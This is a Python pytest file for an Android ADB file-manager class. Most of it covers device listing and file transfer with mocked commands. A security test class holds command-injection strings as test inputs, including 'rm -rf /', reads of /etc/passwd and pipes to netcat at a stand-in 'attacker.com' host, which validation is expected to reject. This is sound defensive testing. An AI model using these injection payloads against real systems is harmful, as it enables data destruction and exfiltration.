Files

624 lines
22 KiB
Python

"""Tests for the main ADB manager module."""
import pytest
import unittest.mock as mock
import os
from unittest.mock import patch, MagicMock
from src.core.adb_manager import ADBManager
class TestADBManager:
"""Test main ADB manager functionality."""
@patch("src.core.adb_manager.get_adb_binary_path")
def test_init_success(self, mock_get_path):
"""Test ADBManager initialization with successful ADB path."""
mock_get_path.return_value = "/path/to/adb"
manager = ADBManager()
assert manager.adb_path == "/path/to/adb"
assert manager.selected_device is None
assert manager.progress_callback is None
assert manager.status_callback is None
assert manager.transfer_progress["current_file"] == 0
@patch("src.core.adb_manager.get_adb_binary_path")
def test_init_adb_path_failure(self, mock_get_path):
"""Test ADBManager initialization when ADB path fails."""
mock_get_path.side_effect = Exception("ADB not found")
manager = ADBManager()
assert manager.adb_path is None
@patch("src.core.adb_manager.is_adb_available")
def test_is_available_true(self, mock_is_available):
"""Test ADB availability check returns True."""
mock_is_available.return_value = True
manager = ADBManager()
assert manager.is_available() is True
@patch("src.core.adb_manager.is_adb_available")
def test_is_available_false(self, mock_is_available):
"""Test ADB availability check returns False."""
mock_is_available.return_value = False
manager = ADBManager()
assert manager.is_available() is False
@patch("src.core.adb_manager.is_adb_available")
@patch("src.core.adb_manager.ensure_platform_tools_in_user_dir")
@patch("os.path.exists")
def test_ensure_adb_installed_already_available(
self, mock_exists, mock_ensure, mock_is_available
):
"""Test ensure_adb_installed when ADB is already available."""
mock_is_available.return_value = True
manager = ADBManager()
result = manager.ensure_adb_installed()
assert result is True
mock_ensure.assert_not_called()
@patch("src.core.adb_manager.is_adb_available")
@patch("src.core.adb_manager.ensure_platform_tools_in_user_dir")
@patch("os.path.exists")
def test_ensure_adb_installed_download_success(
self, mock_exists, mock_ensure, mock_is_available
):
"""Test ensure_adb_installed with successful download."""
mock_is_available.return_value = False
mock_ensure.return_value = "/user/data/adb"
mock_exists.return_value = True
manager = ADBManager()
result = manager.ensure_adb_installed()
assert result is True
assert manager.adb_path == "/user/data/adb"
@patch("src.core.adb_manager.is_adb_available")
@patch("src.core.adb_manager.ensure_platform_tools_in_user_dir")
def test_ensure_adb_installed_download_failure(
self, mock_ensure, mock_is_available
):
"""Test ensure_adb_installed with download failure."""
mock_is_available.return_value = False
mock_ensure.side_effect = Exception("Download failed")
manager = ADBManager()
result = manager.ensure_adb_installed()
assert result is False
def test_get_devices_success(self):
"""Test successful device enumeration."""
manager = ADBManager()
manager.command_runner.run_adb_command = MagicMock(
return_value=(
"List of devices attached\ndevice1\tdevice\ndevice2\tdevice",
"",
0,
)
)
devices = manager.get_devices()
assert devices == ["device1", "device2"]
def test_get_devices_failure(self):
"""Test device enumeration failure."""
manager = ADBManager()
manager.command_runner.run_adb_command = MagicMock(
return_value=("", "Error", 1)
)
devices = manager.get_devices()
assert devices == []
def test_get_devices_no_devices(self):
"""Test device enumeration with no connected devices."""
manager = ADBManager()
manager.command_runner.run_adb_command = MagicMock(
return_value=("List of devices attached\n", "", 0)
)
devices = manager.get_devices()
assert devices == []
@patch.object(ADBManager, "get_devices")
def test_is_device_connected_specific_device(self, mock_get_devices):
"""Test checking if specific device is connected."""
mock_get_devices.return_value = ["device1", "device2"]
manager = ADBManager()
assert manager.is_device_connected("device1") is True
assert manager.is_device_connected("device3") is False
@patch.object(ADBManager, "get_devices")
def test_is_device_connected_any_device(self, mock_get_devices):
"""Test checking if any device is connected."""
mock_get_devices.return_value = ["device1"]
manager = ADBManager()
assert manager.is_device_connected() is True
mock_get_devices.return_value = []
assert manager.is_device_connected() is False
def test_select_device(self):
"""Test device selection."""
manager = ADBManager()
manager.select_device("test_device")
assert manager.selected_device == "test_device"
def test_get_selected_device(self):
"""Test getting selected device."""
manager = ADBManager()
manager.selected_device = "test_device"
assert manager.get_selected_device() == "test_device"
def test_get_selected_device_none(self):
"""Test getting selected device when none selected."""
manager = ADBManager()
assert manager.get_selected_device() is None
def test_list_files_success(self):
"""Test successful file listing."""
manager = ADBManager()
manager.command_runner.run_adb_command = MagicMock(
return_value=(
"total 12\n"
"drwxrwxr-x 2 user user 4096 Jan 1 12:00 Documents\n"
"-rw-rw-r-- 1 user user 100 Jan 1 12:00 test.txt",
"",
0,
)
)
files = manager.list_files("/sdcard")
assert len(files) == 2
assert files[0]["name"] == "Documents"
assert files[0]["type"] == "folder"
assert files[1]["name"] == "test.txt"
assert files[1]["type"] == "file"
assert files[1]["size"] == 100
def test_list_files_failure(self):
"""Test file listing failure."""
manager = ADBManager()
manager.command_runner.run_adb_command = MagicMock(
return_value=("", "Permission denied", 1)
)
files = manager.list_files("/root")
assert files == []
@patch("os.makedirs")
def test_pull_file_success(self, mock_makedirs):
"""Test successful file pull."""
manager = ADBManager()
manager.file_transfer.pull_file = MagicMock(return_value=True)
success, message = manager.pull_file("/sdcard/test.txt", "/local/test.txt")
assert success is True
assert "successfully" in message
mock_makedirs.assert_called_once_with("/local", exist_ok=True)
def test_pull_file_failure(self):
"""Test file pull failure."""
manager = ADBManager()
manager.file_transfer.pull_file = MagicMock(return_value=False)
success, message = manager.pull_file("/sdcard/test.txt", "/local/test.txt")
assert success is False
assert "Failed" in message
@patch("os.makedirs")
def test_pull_folder_success(self, mock_makedirs):
"""Test successful folder pull."""
manager = ADBManager()
manager.file_transfer.pull_folder = MagicMock(return_value=True)
success, message = manager.pull_folder("/sdcard/Documents", "/local/Documents")
assert success is True
assert "successfully" in message
mock_makedirs.assert_called_once_with("/local/Documents", exist_ok=True)
def test_pull_folder_failure(self):
"""Test folder pull failure."""
manager = ADBManager()
manager.file_transfer.pull_folder = MagicMock(return_value=False)
success, message = manager.pull_folder("/sdcard/Documents", "/local/Documents")
assert success is False
assert "Failed" in message
@patch("os.path.exists")
def test_push_file_success(self, mock_exists):
"""Test successful file push."""
mock_exists.return_value = True
manager = ADBManager()
manager.file_transfer.push_file = MagicMock(return_value=True)
success, message = manager.push_file("/local/test.txt", "/sdcard/test.txt")
assert success is True
assert "successfully" in message
@patch("os.path.exists")
def test_push_file_not_found(self, mock_exists):
"""Test file push when local file doesn't exist."""
mock_exists.return_value = False
manager = ADBManager()
success, message = manager.push_file("/local/test.txt", "/sdcard/test.txt")
assert success is False
assert "not found" in message
@patch("os.path.exists")
def test_push_file_failure(self, mock_exists):
"""Test file push failure."""
mock_exists.return_value = True
manager = ADBManager()
manager.file_transfer.push_file = MagicMock(return_value=False)
success, message = manager.push_file("/local/test.txt", "/sdcard/test.txt")
assert success is False
assert "Failed" in message
@patch("os.path.exists")
def test_push_folder_success(self, mock_exists):
"""Test successful folder push."""
mock_exists.return_value = True
manager = ADBManager()
manager.file_transfer.push_folder = MagicMock(return_value=True)
success, message = manager.push_folder("/local/Documents", "/sdcard/Documents")
assert success is True
assert "successfully" in message
def test_delete_file_success(self):
"""Test successful file deletion."""
manager = ADBManager()
manager.command_runner.run_adb_command = MagicMock(return_value=("", "", 0))
success, message = manager.delete_file("/sdcard/test.txt")
assert success is True
assert "deleted" in message
def test_delete_file_failure(self):
"""Test file deletion failure."""
manager = ADBManager()
manager.command_runner.run_adb_command = MagicMock(
return_value=("", "Permission denied", 1)
)
success, message = manager.delete_file("/sdcard/test.txt")
assert success is False
assert "Failed" in message
def test_create_folder_success(self):
"""Test successful folder creation."""
manager = ADBManager()
manager.command_runner.run_adb_command = MagicMock(return_value=("", "", 0))
success, message = manager.create_folder("/sdcard/NewFolder")
assert success is True
assert "created" in message
def test_delete_folder_success(self):
"""Test successful folder deletion."""
manager = ADBManager()
manager.command_runner.run_adb_command = MagicMock(return_value=("", "", 0))
success, message = manager.delete_folder("/sdcard/OldFolder")
assert success is True
assert "deleted" in message
def test_move_item_success(self):
"""Test successful item move/rename."""
manager = ADBManager()
manager.command_runner.run_adb_command = MagicMock(return_value=("", "", 0))
success, message = manager.move_item("/sdcard/old.txt", "/sdcard/new.txt")
assert success is True
assert "moved" in message
def test_get_file_info_success(self):
"""Test successful file info retrieval."""
manager = ADBManager()
manager.command_runner.run_adb_command = MagicMock(
return_value=("-rw-rw-r-- 1 user user 1024 Jan 1 12:00 test.txt", "", 0)
)
info = manager.get_file_info("/sdcard/test.txt")
assert info is not None
assert info["name"] == "test.txt"
assert info["type"] == "file"
assert info["size"] == 1024
def test_get_file_info_failure(self):
"""Test file info retrieval failure."""
manager = ADBManager()
manager.command_runner.run_adb_command = MagicMock(
return_value=("", "File not found", 1)
)
info = manager.get_file_info("/sdcard/nonexistent.txt")
assert info is None
@patch("src.core.adb_manager.FileDeduplicator")
def test_deduplicate_files_success(self, mock_deduplicator_class):
"""Test successful file deduplication."""
mock_deduplicator = MagicMock()
mock_deduplicator.find_duplicates.return_value = [["file1.txt", "file2.txt"]]
mock_deduplicator.remove_duplicates.return_value = 1
mock_deduplicator_class.return_value = mock_deduplicator
manager = ADBManager()
removed_count, duplicates = manager.deduplicate_files("/test/folder")
assert removed_count == 1
assert len(duplicates) == 1
@patch("src.core.adb_manager.FileDeduplicator")
def test_deduplicate_files_no_duplicates(self, mock_deduplicator_class):
"""Test file deduplication with no duplicates found."""
mock_deduplicator = MagicMock()
mock_deduplicator.find_duplicates.return_value = []
mock_deduplicator_class.return_value = mock_deduplicator
manager = ADBManager()
removed_count, duplicates = manager.deduplicate_files("/test/folder")
assert removed_count == 0
assert duplicates == []
class TestADBManagerSecurityIntegration:
"""Integration tests for security validation in ADB manager methods."""
def test_list_files_rejects_command_injection(self):
"""Test that list_files() rejects paths with command injection attempts."""
manager = ADBManager()
manager.selected_device = "test_device"
malicious_paths = [
"/sdcard/test; rm -rf /",
"/sdcard/$(whoami)",
"/sdcard/`malicious`",
"/sdcard/test && cat /etc/passwd",
"/sdcard/test | nc attacker.com 1234",
]
for path in malicious_paths:
result = manager.list_files(path)
assert result == [], f"Failed to reject malicious path: {path}"
def test_delete_file_rejects_path_traversal(self):
"""Test that delete_file() rejects path traversal attempts."""
manager = ADBManager()
manager.selected_device = "test_device"
malicious_paths = [
"/sdcard/test\x00.txt",
"/sdcard/file; rm -rf /",
]
for path in malicious_paths:
success, message = manager.delete_file(path)
assert not success, f"Failed to reject malicious path: {path}"
assert (
"Invalid path" in message
), f"Expected security error message for: {path}"
def test_create_folder_rejects_malicious_input(self):
"""Test that create_folder() rejects malicious path inputs."""
manager = ADBManager()
manager.selected_device = "test_device"
malicious_paths = [
"/sdcard/test && malicious",
"/sdcard/$(whoami)",
"/sdcard/test\nmalicious_command",
]
for path in malicious_paths:
success, message = manager.create_folder(path)
assert not success, f"Failed to reject malicious path: {path}"
assert "Invalid path" in message
def test_move_item_rejects_both_malicious_paths(self):
"""Test that move_item() rejects malicious source or destination paths."""
manager = ADBManager()
manager.selected_device = "test_device"
# Malicious source
success, message = manager.move_item("/sdcard/test; rm -rf /", "/sdcard/dest")
assert not success
assert "Invalid path" in message
# Malicious destination
success, message = manager.move_item(
"/sdcard/source", "/sdcard/dest && malicious"
)
assert not success
assert "Invalid path" in message
def test_operations_reject_malicious_device_ids(self):
"""Test that operations reject malicious device IDs."""
manager = ADBManager()
malicious_device_ids = [
"device123; malicious",
"device && cat /etc/passwd",
"device|nc attacker.com",
"device\nmalicious",
]
for device_id in malicious_device_ids:
# Test with list_files
result = manager.list_files("/sdcard/test", device_id=device_id)
assert result == [], f"Failed to reject malicious device ID: {device_id}"
# Test with get_file_info
result = manager.get_file_info("/sdcard/test", device_id=device_id)
assert result is None, f"Failed to reject malicious device ID: {device_id}"
def test_delete_folder_rejects_dangerous_patterns(self):
"""Test that delete_folder() rejects dangerous path patterns."""
manager = ADBManager()
manager.selected_device = "test_device"
dangerous_paths = [
"/sdcard/test||malicious",
"/sdcard/test&&malicious",
"/sdcard/test>>output.txt",
]
for path in dangerous_paths:
success, message = manager.delete_folder(path)
assert not success, f"Failed to reject dangerous path: {path}"
assert "Invalid path" in message
def test_get_file_info_with_null_bytes(self):
"""Test that get_file_info() rejects null bytes in paths."""
manager = ADBManager()
manager.selected_device = "test_device"
result = manager.get_file_info("/sdcard/file\x00.txt")
assert result is None
@patch("src.core.adb_manager.ADBCommandRunner")
def test_sanitized_paths_passed_to_adb_commands(self, mock_runner_class):
"""Test that sanitized paths are passed to ADB commands, not original inputs."""
mock_runner = MagicMock()
mock_runner.run_adb_command.return_value = ("", "", 0)
mock_runner_class.return_value = mock_runner
manager = ADBManager()
manager.selected_device = "test_device"
# Valid path should be passed through
manager.list_files("/sdcard/DCIM")
# Verify the command was called with the sanitized path
args_list = mock_runner.run_adb_command.call_args[0][0]
assert "/sdcard/DCIM" in args_list
# Malicious path should not reach the command runner
mock_runner.run_adb_command.reset_mock()
manager.list_files("/sdcard/test; rm -rf /")
# Command runner should not be called for invalid paths
mock_runner.run_adb_command.assert_not_called()
def test_unicode_paths_accepted(self):
"""Test that valid Unicode paths are accepted."""
manager = ADBManager()
manager.selected_device = "test_device"
unicode_paths = [
"/sdcard/照片/vacation.jpg",
"/sdcard/Фото/image.png",
"/sdcard/My Photos/vacation.jpg",
]
for path in unicode_paths:
# Should not raise exception or return security error
result = manager.list_files(path)
# Result will be empty list due to mocked command, but should not reject path
assert isinstance(result, list)
def test_list_files_calls_status_callback_on_invalid_path(self):
"""Test that list_files() notifies user via status callback on invalid path."""
manager = ADBManager()
manager.selected_device = "test_device"
# Set up status callback to capture messages
status_messages = []
manager.set_status_callback(lambda msg: status_messages.append(msg))
# Try invalid path
result = manager.list_files("/sdcard/test; rm -rf /")
assert result == []
assert len(status_messages) == 1
assert "Invalid path" in status_messages[0]
assert "dangerous pattern" in status_messages[0]
def test_list_files_calls_status_callback_on_invalid_device_id(self):
"""Test that list_files() notifies user via status callback on invalid device ID."""
manager = ADBManager()
# Set up status callback to capture messages
status_messages = []
manager.set_status_callback(lambda msg: status_messages.append(msg))
# Try invalid device ID
result = manager.list_files("/sdcard/test", device_id="device; malicious")
assert result == []
assert len(status_messages) == 1
assert "Invalid device ID" in status_messages[0]
def test_get_file_info_calls_status_callback_on_invalid_path(self):
"""Test that get_file_info() notifies user via status callback on invalid path."""
manager = ADBManager()
manager.selected_device = "test_device"
# Set up status callback to capture messages
status_messages = []
manager.set_status_callback(lambda msg: status_messages.append(msg))
# Try invalid path with null byte
result = manager.get_file_info("/sdcard/file\x00.txt")
assert result is None
assert len(status_messages) == 1
assert "Invalid path" in status_messages[0]
assert "null byte" in status_messages[0]
def test_status_callback_not_called_on_valid_input(self):
"""Test that status callback is not called for valid inputs."""
manager = ADBManager()
manager.selected_device = "test_device"
# Set up status callback to capture messages
status_messages = []
manager.set_status_callback(lambda msg: status_messages.append(msg))
# Try valid path (will return empty due to mocked command, but shouldn't trigger callback)
result = manager.list_files("/sdcard/DCIM")
# No status messages for validation errors
assert not any("Invalid" in msg for msg in status_messages)